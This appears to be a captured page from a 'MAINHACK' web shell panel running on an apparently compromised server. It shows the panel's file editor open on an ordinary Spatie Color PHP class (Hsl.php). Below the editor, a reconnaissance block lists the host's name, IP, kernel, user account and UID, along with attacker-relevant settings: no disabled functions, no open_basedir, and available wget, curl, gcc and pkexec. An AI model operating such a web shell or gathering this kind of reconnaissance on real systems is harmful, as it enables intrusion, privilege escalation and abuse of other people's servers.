[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Hsl.php
<?php namespace Spatie\Color; class Hsl implements Color { /** @var float */ protected $hue; protected $saturation; protected $lightness; public function __construct(float $hue, float $saturation, float $lightness) { Validate::hslValue($saturation, 'saturation'); Validate::hslValue($lightness, 'lightness'); $this->hue = $hue; $this->saturation = $saturation; $this->lightness = $lightness; } public static function fromString(string $string) { Validate::hslColorString($string); $matches = null; preg_match(HsPatterns::getExtractionPattern('hsl'), $string, $matches); return new static( (float) $matches[1], (float) $matches[2], (float) $matches[3], ); } public function hue(): float { return $this->hue; } public function saturation(): float { return $this->saturation; } public function lightness(): float { return $this->lightness; } public function red(): int { return Convert::hslValueToRgb($this->hue, $this->saturation, $this->lightness)[0]; } public function green(): int { return Convert::hslValueToRgb($this->hue, $this->saturation, $this->lightness)[1]; } public function blue(): int { return Convert::hslValueToRgb($this->hue, $this->saturation, $this->lightness)[2]; } public function toCIELab(): CIELab { return $this->toRgb()->toCIELab(); } public function toCmyk(): Cmyk { return $this->toRgb()->toCmyk(); } public function toHex(?string $alpha = null): Hex { return $this->toRgb()->toHex($alpha ?? 'ff'); } public function toHsb(): Hsb { return $this->toRgb()->toHsb(); } public function toHsl(): self { return new self($this->hue(), $this->saturation(), $this->lightness()); } public function toHsla(?float $alpha = null): Hsla { return new Hsla($this->hue(), $this->saturation(), $this->lightness(), $alpha ?? 1); } public function toRgb(): Rgb { return new Rgb($this->red(), $this->green(), $this->blue()); } public function toRgba(?float $alpha = null): Rgba { return new Rgba($this->red(), $this->green(), $this->blue(), $alpha ?? 1); } public function toXyz(): Xyz { return $this->toRgb()->toXyz(); } public function __toString(): string { $hue = round($this->hue); $saturation = round($this->saturation); $lightness = round($this->lightness); return "hsl({$hue},{$saturation}%,{$lightness}%)"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.58 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002